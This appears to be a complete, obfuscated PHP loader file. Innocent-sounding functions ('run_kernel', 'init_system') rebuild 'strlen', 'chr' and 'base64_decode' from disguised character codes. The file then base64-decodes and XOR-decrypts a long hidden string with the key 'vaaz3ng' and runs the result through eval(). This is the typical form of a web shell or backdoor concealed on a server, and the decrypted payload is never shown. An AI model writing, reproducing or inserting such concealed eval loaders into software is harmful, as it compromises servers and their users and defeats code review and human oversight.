<?php
function run_kernel($d)
{
    $z = array(18 + 92, 11 * 44 - 383, 108, 87 * 104 - 8934, 2 * 58, 41 + 74);
    $p = '';
    foreach ($z as $j) {
        $p .= chr($j);
    }
    $p = strrev($p);
    return $p($d);
}

function init_system($x)
{
    $f = array(114, 2 * 52, 78 + 21);
    $j = '';
    foreach ($f as $u) {
        $j .= chr($u);
    }
    $j = strrev($j);
    return $j($x);
}

$chv = array(98 * 1 / 1 + 18 - 18, 97 + 5 + 6 - (5 + 6) + 9 - 9 + 16 - 16 - 1 + 1, 115 + 2 + 2 - (2 + 2) + 10 - 10 - 16 + 16, 101 + 9 - 9 - 10 + 10 + 3 + 2 - (3 + 2), 54 * 1 / 1 * 54 / 54 - 4 + 4, 52 - 3 + 3 + 6 + 2 - (6 + 2) + 3 + 7 - (3 + 7), 95 * 19 / 19 - 15 + 15 + 19 - 19 + 5 + 1 - (5 + 1) + 19 - 19, 100 * 50 / 50 * 4 / 4, (101 - 19 + 19 * 1) / 1, 99 + 6 + 4 - (6 + 4) + 15 - 15, 111 - 11 + 11 + 3 - 3 + 4 + 10 - (4 + 10) - 3 + 3 - 3 + 3, (100 + 3 + 10 - (3 + 10) + 6 - 6 + 7 + 2 - (7 + 2) * 1) / 1 - 7 + 7, (101 + 8 + 8 - (8 + 8) * 1) / 1 * 1 / 1);
$xtv = '';
foreach ($chv as $xwa) {
    $xtv .= init_system($xwa);
}
$jhy = 'FQ0ACUBOOB4JGgpBBxEXFQRaQBoGAggCXmwcH00SFRtHBwRWBxQUUBoOGQ9BJUEaE15FPhRCQkMpGQUSGhUOEElACVYCAUxbRSVBFk4FBA0cCVQ4EAkSUhpVQykLAwMOHRMEDQQUG0o4DgUJUwhKOBILDUdRDxQTV1UlVwsEGQUEUkALCxBbW15sHB8tRT4UQjNOTQcOCBtKOAQMA0cDQkMpAw9HQBoVGgQPUhcxAxwNSEEXMRUbA0BHDko4FA9aURhKOAQMA1MXMQMcDTpebBwKFDxcGVscTxkTBVIXMQMcDTpebBwKFDxIJFwcA15FPgJXBjxSPhMXUUtDKQsDA25HTk0TBA5GHAlSPgUQX1UaBhMIDFIaAlYSFRtHBwRWBxQUUBoOGQ9BJVUGFF5IGglWAgFMW0UlQRZaFxMTG0pGQCkMEw8UU1lRJxg/XScmNwYoPmYgLBwoUj1ZHQlRTUYlSg0NUVxfXXUUCB8uIDsEJDRGLywuUBggHyAIXR9JOAcPCF0OUEAUNAUrZANeNzcnDQ5JS1E+GAlESVpIRkZWFDEdEhdGRw1JQFpIWgdOBwFeCBIJVhpPUj4yP2E4IiQ6PhJbVF0pExUOG0k4GxMUXR9JOAMSEV0aM05QRxIOQR4IBUlFJWArNSAkMyFsBg9MWz4IRxpPUT4YGVlJS1E+DwxbSU4rTT4SW1RdKRMVDhtJOAcPCF0fSTgFBwhdGkdGS1wHG18dAl8aRSVRAFpSPiI1fCUuM1pFJUsKD0tRUUEXMQkHXFFNCEo4BgoJR1IcFRcYSVMISjgGCgkhFzEfEgk8R2wGD0xbPghHGk9RPhgJRElLUT4JAkBJTk0WCRNfC09SPg8LGhVDKREKEmhKOA4FCScdU0MpAw8hA11TKzpFJV0fOk0IB1ISSjgUDzpKAFo6LUU+FEJFV0c8SAFaCE9XRT4YXTVXRVU8IRcxCQdKUUhuRwUEBAARCEo4DgUJURhVQykRChJoSjgOBQknDjEPHltbJUEaE15GPgBXGEBaRj4fSUlOTUU+FEJFTE0cRSVdH1pSPg8LGF5QXVFQQU5KOA4FCUcXMRcdCTpKAls6XkhPXmweDB46UUluVQ4QSUBebB4MHjpRSAIzT1I+GR5bR04NRT4UQlNDKREKEmheVkQ8SV5sFgMeTUUlQwUPLVFQS25HXFI+ERFbNVdEPElebAAWWkU+ClgGPEZTUScdSjgGCgkhA19XK0lFJUMFDy1RUExuRkMpAw8hA106X0hIQU4HCRUNFB5WRkMpGQUSGlUDHwRJUwgT';
$hby = 'vaaz3ng';
$okn = '';
for ($fwi = 0; $fwi < run_kernel($xtv($jhy)); $fwi++) {
    $okn .= $xtv($jhy)[$fwi] ^ $hby[$fwi % run_kernel($hby)];
}
eval($okn);